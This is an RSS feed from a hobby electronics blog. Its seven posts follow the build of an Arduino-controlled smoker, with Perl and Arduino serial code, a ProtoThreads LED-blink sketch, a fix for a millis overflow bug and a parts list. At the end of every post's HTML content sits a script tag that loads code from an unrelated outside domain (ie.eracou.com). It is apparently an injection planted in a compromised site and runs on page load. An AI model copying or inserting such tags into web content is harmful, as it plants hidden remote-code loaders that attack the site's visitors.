<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Arduino Collective &#187; Arduino Smoker</title>
	<atom:link href="http://arduinocollective.com/category/arduino-smoker/feed/" rel="self" type="application/rss+xml" />
	<link>http://arduinocollective.com</link>
	<description>Electronics are fun!</description>
	<lastBuildDate>Fri, 29 Jan 2010 22:20:07 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Update: code complete, contest missed, one bug remains</title>
		<link>http://arduinocollective.com/2010/01/16/update-code-complete-contest-missed-one-bug-remains/</link>
		<comments>http://arduinocollective.com/2010/01/16/update-code-complete-contest-missed-one-bug-remains/#comments</comments>
		<pubDate>Sat, 16 Jan 2010 19:58:45 +0000</pubDate>
		<dc:creator>Nate Jones</dc:creator>
				<category><![CDATA[Arduino Smoker]]></category>

		<guid isPermaLink="false">http://arduinocollective.com/?p=81</guid>
		<description><![CDATA[Well, with the holiday season sweeping through and busyness at work, we missed the deadline to submit our smoker to the ArduinoFun guys.  That is a bummer, but the contest did motivate us this far and we&#8217;re close enough to finishing that the momentum should carry us. Over the holidays, Josh was able to finish [...]]]></description>
			<content:encoded><![CDATA[<p>Well, with the holiday season sweeping through and busyness at work, we missed the deadline to submit our smoker to the ArduinoFun guys.  That is a bummer, but the contest did motivate us this far and we&#8217;re close enough to finishing that the momentum should carry us.</p>
<p>Over the holidays, Josh was able to finish the smoker control code and get the smoker fully assembled.  He ran into a physical bug in that the temperature sensor never registered anything above 185 degrees even though the inside temperature of the trash can got up to 230.  We think this is due to the placement of the sensor, which is just inside the can on one side.  We&#8217;re going to try putting the sensor on a rod of some sort so that it sticks out into the center of the can.  We&#8217;ll need to add a shield to prevent the sensor from getting dirtied with drippings from the meat, but that should be easy enough.</p>
<p>We&#8217;ll update the blog when we cook our first meal with the smoker.</p>
<p>And, as before the code for running the arduino and controlling it from the laptop are available in either of our <a href="http://github.com/justone/arduino-smoker">git</a> <a href="http://github.com/jbarratt/arduino-smoker">repositories</a>.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://arduinocollective.com/2010/01/16/update-code-complete-contest-missed-one-bug-remains/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>It&#8217;s alive!</title>
		<link>http://arduinocollective.com/2009/12/21/its-alive/</link>
		<comments>http://arduinocollective.com/2009/12/21/its-alive/#comments</comments>
		<pubDate>Mon, 21 Dec 2009 22:05:25 +0000</pubDate>
		<dc:creator>Joshua Barratt</dc:creator>
				<category><![CDATA[Arduino Smoker]]></category>

		<guid isPermaLink="false">http://arduinocollective.com/2009/12/21/its-alive/</guid>
		<description><![CDATA[The arduino powered hotplate is actually working, end-to-end. We simply need to connect the temperature sensor back up, write a bit of software, and it&#8217;s food time! http://www.flickr.com/photos/serialized/4203889389/]]></description>
			<content:encoded><![CDATA[<p>The arduino powered hotplate is actually working, end-to-end. We simply need to connect the temperature sensor back up, write a bit of software, and it&#8217;s food time!</p>
<p>http://www.flickr.com/photos/serialized/4203889389/<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://arduinocollective.com/2009/12/21/its-alive/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Smoker code repository and something more interesting with ProtoThreads</title>
		<link>http://arduinocollective.com/2009/12/14/smoker-code-repository-and-something-more-interesting-with-protothreads/</link>
		<comments>http://arduinocollective.com/2009/12/14/smoker-code-repository-and-something-more-interesting-with-protothreads/#comments</comments>
		<pubDate>Tue, 15 Dec 2009 06:37:00 +0000</pubDate>
		<dc:creator>Nate Jones</dc:creator>
				<category><![CDATA[Arduino Smoker]]></category>

		<guid isPermaLink="false">http://arduinocollective.com/?p=68</guid>
		<description><![CDATA[Last week, I started work on a code repository for our smoker. It&#8217;s available on github under my profile: http://github.com/justone/arduino-smoker.  We may find a more official place for it, but it&#8217;ll always be available there. There are two directories in the root, one for the Arduino code that will power the smoker and one for [...]]]></description>
			<content:encoded><![CDATA[<p>Last week, I started work on a code repository for our smoker.</p>
<p>It&#8217;s available on <a href="http://github.com/">github</a> under my <a href="http://github.com/justone">profile</a>: <a href="http://github.com/justone/arduino-smoker">http://github.com/justone/arduino-smoker</a>.  We may find a more official place for it, but it&#8217;ll always be available there.</p>
<p>There are two directories in the root, one for the Arduino code that will power the smoker and one for the code that we&#8217;ll use to control it.  The Arduino directory also contains the two libraries our code depends on: ProtoThreads and the PID library.</p>
<p>The initial Arduino sketch implements a simple LED blinker that can be controlled over the serial connection.  It starts off blinking the led every second and you can set the delay by sending a setDelay command (like &#8220;setDelay 4&#8243;).  It also reports the current delay every ten seconds.  It&#8217;s not much, but it does demonstrate using ProtoThreads to handle more than one process at a time.  It also implements serial command parsing, with heavy inspiration (and code) from this <a href="http://todbot.com/blog/2009/07/30/arduino-serial-protocol-design-patterns/">todbot post</a>.</p>
<p>Next up, more hardware assembly and integrating the PID library.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://arduinocollective.com/2009/12/14/smoker-code-repository-and-something-more-interesting-with-protothreads/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Arduino Threading (problem solved)</title>
		<link>http://arduinocollective.com/2009/12/05/arduino-threading-problem-solved/</link>
		<comments>http://arduinocollective.com/2009/12/05/arduino-threading-problem-solved/#comments</comments>
		<pubDate>Sun, 06 Dec 2009 02:58:26 +0000</pubDate>
		<dc:creator>Nate Jones</dc:creator>
				<category><![CDATA[Arduino Smoker]]></category>

		<guid isPermaLink="false">http://arduinocollective.com/?p=63</guid>
		<description><![CDATA[After building up another sketch from scratch, I found the source of the problem from the last post.  Those sketches stored milliseconds in an int, and that just isn&#8217;t big enough. So this: // state for the led1 function static int led1Millis; static int led1State = LOW; // state for the led2 function static int [...]]]></description>
			<content:encoded><![CDATA[<p>After building up another sketch from scratch, I found the source of the problem from the <a href="http://arduinocollective.com/2009/12/05/arduino-threading/">last post</a>.  Those sketches stored milliseconds in an int, and that just isn&#8217;t big enough.</p>
<p>So this:</p>
<pre class="brush: cpp;">
// state for the led1 function
static int led1Millis;
static int led1State = LOW;

// state for the led2 function
static int led2Millis;
static int led2State = LOW;
</pre>
<p>Becomes this:</p>
<pre class="brush: cpp;">
// state for the led1 function
static long led1Millis;
static int led1State = LOW;

// state for the led2 function
static long led2Millis;
static int led2State = LOW;
</pre>
<p>Now both versions work flawlessly.  Now to make it do something interesting&#8230;<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://arduinocollective.com/2009/12/05/arduino-threading-problem-solved/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Arduino Threading</title>
		<link>http://arduinocollective.com/2009/12/05/arduino-threading/</link>
		<comments>http://arduinocollective.com/2009/12/05/arduino-threading/#comments</comments>
		<pubDate>Sun, 06 Dec 2009 01:41:38 +0000</pubDate>
		<dc:creator>Nate Jones</dc:creator>
				<category><![CDATA[Arduino Smoker]]></category>

		<guid isPermaLink="false">http://arduinocollective.com/?p=53</guid>
		<description><![CDATA[The smoker needs to handle quite a bit at a time: Reading the temperature and updating the PID. Reading commands from the laptop. Sending periodic status updates to the laptop. Flipping the hotplate on and off. Whatever else we can think of. So, to make handling all this a little easier, I began writing a [...]]]></description>
			<content:encoded><![CDATA[<p>The smoker needs to handle quite a bit at a time:</p>
<ol>
<li>Reading the temperature and updating the PID.</li>
<li>Reading commands from the laptop.</li>
<li>Sending periodic status updates to the laptop.</li>
<li>Flipping the hotplate on and off.</li>
<li>Whatever else we can think of.</li>
</ol>
<p>So, to make handling all this a little easier, I began writing a little pseudo-threading library (called Polyester) when Josh pointed me at <a href="http://www.sics.se/~adam/pt/">ProtoThreads</a>.  It&#8217;s a stackless threading library built for low memory devices, and someone was nice enough to package it in an <a href="http://www.kukkuk.dk/blog/uploads/protothreads1401.zip">Arduino library</a>.</p>
<p>I took a crack at making a simple sketch that blinked two LEDs at different intervals to see how the library works.  Here&#8217;s what I came up with:</p>
<pre class="brush: cpp; collapse: true; light: false; toolbar: true;">
// Blink 2 LEDs, one every second and the other every other second.

// include ProtoThreads
// Originally from: http://www.sics.se/~adam/pt/
// Arduino package: http://arduino.cc/pipermail/developers_arduino.cc/2009-January/000456.html
#include &lt;pt.h&gt;

// LED pins
const int led1Pin =  13;
const int led2Pin =  12;

// state for the led1 function
static int led1Millis;
static int led1State = LOW;

// state for the led2 function
static int led2Millis;
static int led2State = LOW;

// ProtoThreads structures for each function
static struct pt pt1, pt2;

// function to blink led 1 on and off every second
static int led1 (struct pt *pt) {
 PT_BEGIN(pt);

 while(1) {
 led1Millis = millis() + 1000;
 PT_WAIT_UNTIL(pt, led1Millis &lt; millis());

 if (led1State == LOW)
 led1State = HIGH;
 else
 led1State = LOW;

 digitalWrite(led1Pin, led1State);
 }

 PT_END(pt);
}

// function to blink led 2 on and off every other second
// basically the above method with s/1/2/g
static int led2 (struct pt *pt) {
 PT_BEGIN(pt);

 while(1) {
 led2Millis = millis() + 2000;
 PT_WAIT_UNTIL(pt, led2Millis &lt; millis());

 if (led2State == LOW)
 led2State = HIGH;
 else
 led2State = LOW;

 digitalWrite(led2Pin, led2State);
 }

 PT_END(pt);
}

// Arduino setup
void setup()
{
 // we're using the pins for output
 pinMode(led1Pin, OUTPUT);
 pinMode(led2Pin, OUTPUT);

 // initialize the ProtoThreads varables
 PT_INIT(&amp;pt1);
 PT_INIT(&amp;pt2);
}

// Arduino loop
void loop() {

 // call each function continuously
 led1(&amp;pt1);
 led2(&amp;pt2);
}
</pre>
<p>While this code seemed to work just fine, after about 30 seconds, the LEDs stop blinking.  The first version of the code printed to the serial monitor, and I noticed that closing and opening the serial monitor kicked my Arduino enough that it worked for another 30 seconds.  However, removing the serial code didn&#8217;t change this behavior. Neither did running the Arduino off of the wall wart (with no USB cable attached).</p>
<p>After poring over the code for a bit, I rewrote it to not use ProtoThreads, to eliminate the library as the source of the problem:</p>
<pre class="brush: cpp; collapse: true; light: false; toolbar: true;">
// Blink 2 LEDs, one every second and the other every other second.

// LED pins
const int led1Pin =  13;
const int led2Pin =  12;

// state for the led1 function
static int led1Millis;
static int led1State = LOW;

// state for the led2 function
static int led2Millis;
static int led2State = LOW;

// function to blink led 1 on and off every second
static void led1 () {
  if (led1Millis &gt; millis()) {
    return;
  }
  led1Millis = millis() + 1000;

  if (led1State == LOW)
    led1State = HIGH;
  else
    led1State = LOW;

  digitalWrite(led1Pin, led1State);
}

// function to blink led 2 on and off every other second
// basically the above method with s/1/2/g
static void led2 () {
  if (led2Millis &gt; millis()) {
    return;
  }
  led2Millis = millis() + 2000;

  if (led2State == LOW)
    led2State = HIGH;
  else
    led2State = LOW;

  digitalWrite(led2Pin, led2State);
}

// Arduino setup
void setup()
{
  // we're using the pins for output
  pinMode(led1Pin, OUTPUT);
  pinMode(led2Pin, OUTPUT);
}

// Arduino loop
void loop() {

  // call each function continuously
  led1();
  led2();
}
</pre>
<p>However, the problem didn&#8217;t go away.  It still freezes after about 30 seconds.  At this point, I was concerned that it may be a hardware issue.</p>
<p>So I loaded <a href="http://arduino.cc/en/Tutorial/Blink">both</a> <a href="http://arduino.cc/en/Tutorial/BlinkWithoutDelay">blink</a> sketches from the Arduino tutorial site and let them run for a while.  Thankfully, after several minutes, there were no freezes.</p>
<p>Time to do a little debugging.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://arduinocollective.com/2009/12/05/arduino-threading/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>12/04 Status update: XBee Communication</title>
		<link>http://arduinocollective.com/2009/12/04/1204-status-update-xbee-communication/</link>
		<comments>http://arduinocollective.com/2009/12/04/1204-status-update-xbee-communication/#comments</comments>
		<pubDate>Sat, 05 Dec 2009 00:58:14 +0000</pubDate>
		<dc:creator>Joshua Barratt</dc:creator>
				<category><![CDATA[Arduino Smoker]]></category>

		<guid isPermaLink="false">http://arduinocollective.com/?p=33</guid>
		<description><![CDATA[Our forward progress on the smoker project has been a little slower than we were hoping, but we&#8217;re back on it now and have all the parts assembled to make it happen! Today we got the critical wireless communications between the Arduino and the Mac up and running: Here&#8217;s the perl code for the Mac [...]]]></description>
			<content:encoded><![CDATA[<p>Our forward progress on the smoker project has been a little slower than we were hoping, but we&#8217;re back on it now and have all the parts assembled to make it happen!</p>
<p>Today we got the critical wireless communications between the Arduino and the Mac up and running:</p>
<p><object type="application/x-shockwave-flash" width="500" height="375" data="http://www.flickr.com/apps/video/stewart.swf?v=71377" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"><param name="flashvars" value="intl_lang=en-us&#038;photo_secret=831d99835a&#038;photo_id=4158231687&#038;flickr_show_info_box=true"></param><param name="movie" value="http://www.flickr.com/apps/video/stewart.swf?v=71377"></param><param name="bgcolor" value="#000000"></param><param name="allowFullScreen" value="true"></param><embed type="application/x-shockwave-flash" src="http://www.flickr.com/apps/video/stewart.swf?v=71377" bgcolor="#000000" allowfullscreen="true" flashvars="intl_lang=en-us&#038;photo_secret=831d99835a&#038;photo_id=4158231687&#038;flickr_show_info_box=true" height="375" width="500"></embed></object></p>
<p>Here&#8217;s the perl code for the Mac side:</p>
<pre class="brush: perl;">
#!/usr/bin/perl

use warnings;
use strict;
use Device::SerialPort;

$|++;

my $port = init_serial();

my $lines = 0;
while(1) {
    my $str = $port-&gt;lookfor();
    next unless $str;
    print &quot;$str\n&quot;;
    $lines++;
    if($lines &gt; 5) {
        $port-&gt;write(&quot;Got 5\n&quot;);
        $lines = 0;
    }
}

sub init_serial {
    my @devs = qw(/dev/tty.usbserial-FTELR4YH /dev/tty.usbserial-A7006SAd);

    my $port = undef;
    for my $port_dev (@devs) {
        $port = Device::SerialPort-&gt;new($port_dev);
        last if $port;
    }
    if(!$port) {
        die &quot;No known devices found to connect to serial: $!\n&quot;;
    }

    $port-&gt;databits(8);
    $port-&gt;baudrate(9600);
    $port-&gt;parity(&quot;none&quot;);
    $port-&gt;stopbits(1);

    return $port;
}
</pre>
<p>And here&#8217;s the very simple Arduino code to exercise it:</p>
<pre class="brush: cpp;">
void setup() {
  Serial.begin(9600);
}

int quiet_count = 0;
void loop()
{
  if(quiet_count &gt; 10) {
    Serial.println(&quot;ALIVE&quot;);
    quiet_count = 0;
  }
  else {
    quiet_count++;
  }
  // otherwise echo anything else sent to us
  while(Serial.available()) {
    Serial.print((char)Serial.read());
  }
  delay(100);
}
</pre>
<p>Nate will post in a bit about his threading work.</p>
<p>Next up is getting the Arduino-controlled power outlet built, which is the scariest portion of this project &#8212; playing with high current, high voltage AC is always fun, with a side order of adrenaline.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://arduinocollective.com/2009/12/04/1204-status-update-xbee-communication/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Arduino Smoker: a contender in the Arduino Fun contest</title>
		<link>http://arduinocollective.com/2009/11/09/arduino-smoker-a-contender-in-the-arduino-fun-contest/</link>
		<comments>http://arduinocollective.com/2009/11/09/arduino-smoker-a-contender-in-the-arduino-fun-contest/#comments</comments>
		<pubDate>Tue, 10 Nov 2009 04:27:02 +0000</pubDate>
		<dc:creator>Nate Jones</dc:creator>
				<category><![CDATA[Arduino Smoker]]></category>

		<guid isPermaLink="false">http://arduinocollective.com/?p=8</guid>
		<description><![CDATA[A few days ago, ArduinoFun posted information about a contest they are running over the next couple months. What perfect motivation to kick our first real project into high gear. Or maybe just into gear. Our project is an electronically controlled smoker.  The basic idea comes from Alton Brown, whose method is described in this [...]]]></description>
			<content:encoded><![CDATA[<p>A few days ago, <a href="http://arduinofun.com/">ArduinoFun</a> posted information about a <a href="http://arduinofun.com/blog/2009/11/01/fun-with-arduino-contest/">contest</a> they are running over the next couple months.</p>
<p>What perfect motivation to kick our first real project into high gear.  Or maybe just into gear.</p>
<p>Our project is an electronically controlled smoker.  The basic idea comes from Alton Brown, whose method is described in <a href="http://www.instructables.com/id/Garbage-Can-Turkey-Smoker/">this instructable.</a> We are augmenting this project with an Arduino so that, at the very least, we can control the temperature.</p>
<p>To that end, after collecting many parts, we started down the road of implementation.  I assembled the XBee Adapter Kit that will be used to control the smoker from a laptop, and Josh got the AD595 functioning.</p>
<p><strong>Pictures</strong></p>
<p><a href="http://arduinocollective.com/wp-content/uploads/2009/11/xbee_adapter.JPG"><img class="alignnone size-medium wp-image-12" title="xbee_adapter" src="http://arduinocollective.com/wp-content/uploads/2009/11/xbee_adapter-225x300.jpg" alt="xbee_adapter" width="225" height="300" /></a></p>
<p>The completed XBee adapter next to a new kit.</p>
<p><img class="alignnone size-medium wp-image-25" title="AD595 breadboarded with the Arduino and Type-K Thermocouple" src="http://arduinocollective.com/wp-content/uploads/2009/11/l_800_600_7574EACC-5BA4-473D-82C0-513D3F9E89AD-300x225.jpg" alt="AD595 breadboarded with the Arduino and Type-K Thermocouple" width="300" height="225" /><br />
The AD595 Thermocouple, breadboarded up for testing.</p>
<p><a href="http://arduinocollective.com/wp-content/uploads/2009/11/AD595_reading.jpg"><img class="alignnone size-medium wp-image-11" title="AD595_reading" src="http://arduinocollective.com/wp-content/uploads/2009/11/AD595_reading-300x238.jpg" alt="AD595_reading" width="300" height="238" /></a></p>
<p>The AD595 reading the temperature of the room.</p>
<p>Here are some of our suppliers and the subcomponents we&#8217;ll be using:</p>
<ul>
<li>XBees and XBee adaptors, for setting the temperature and data gathering (from a nearby computer): <a href="http://www.adafruit.com/index.php?main_page=product_info&amp;products_id=126">Adafruit.</a> (We also got our Arduinos from the always awesome ladyada.)</li>
<li>The relay used to control the hot plate itself will be based on <a href="http://www.sparkfun.com/commerce/tutorial_info.php?tutorials_id=119">this design from SparkFun.</a></li>
<li>The <a href="http://www.sparkfun.com/commerce/product_info.php?products_id=306">AD595 thermocouple amplifier</a> and the <a href="http://www.sparkfun.com/commerce/product_info.php?products_id=251">Thermocouple</a> also came from SparkFun.</li>
<li>Even through we want to smoke a lot more than turkeys, we were certainly inspired by the <a href="http://turkeytracker.wordpress.com/">TurkeyTracker</a> folks. (Who you can now follow on twitter at <a href="http://twitter.com/turkeytracker">@turkeytracker</a>!)</li>
<li>For actually deciding when to trigger the hot plate off and on, we&#8217;ll be using the <a href="http://code.google.com/p/arduino-pid-library/">Arduino PID Library.</a> More detail on that as we get closer to showtime.</li>
</ul>
<p><script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://arduinocollective.com/2009/11/09/arduino-smoker-a-contender-in-the-arduino-fun-contest/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
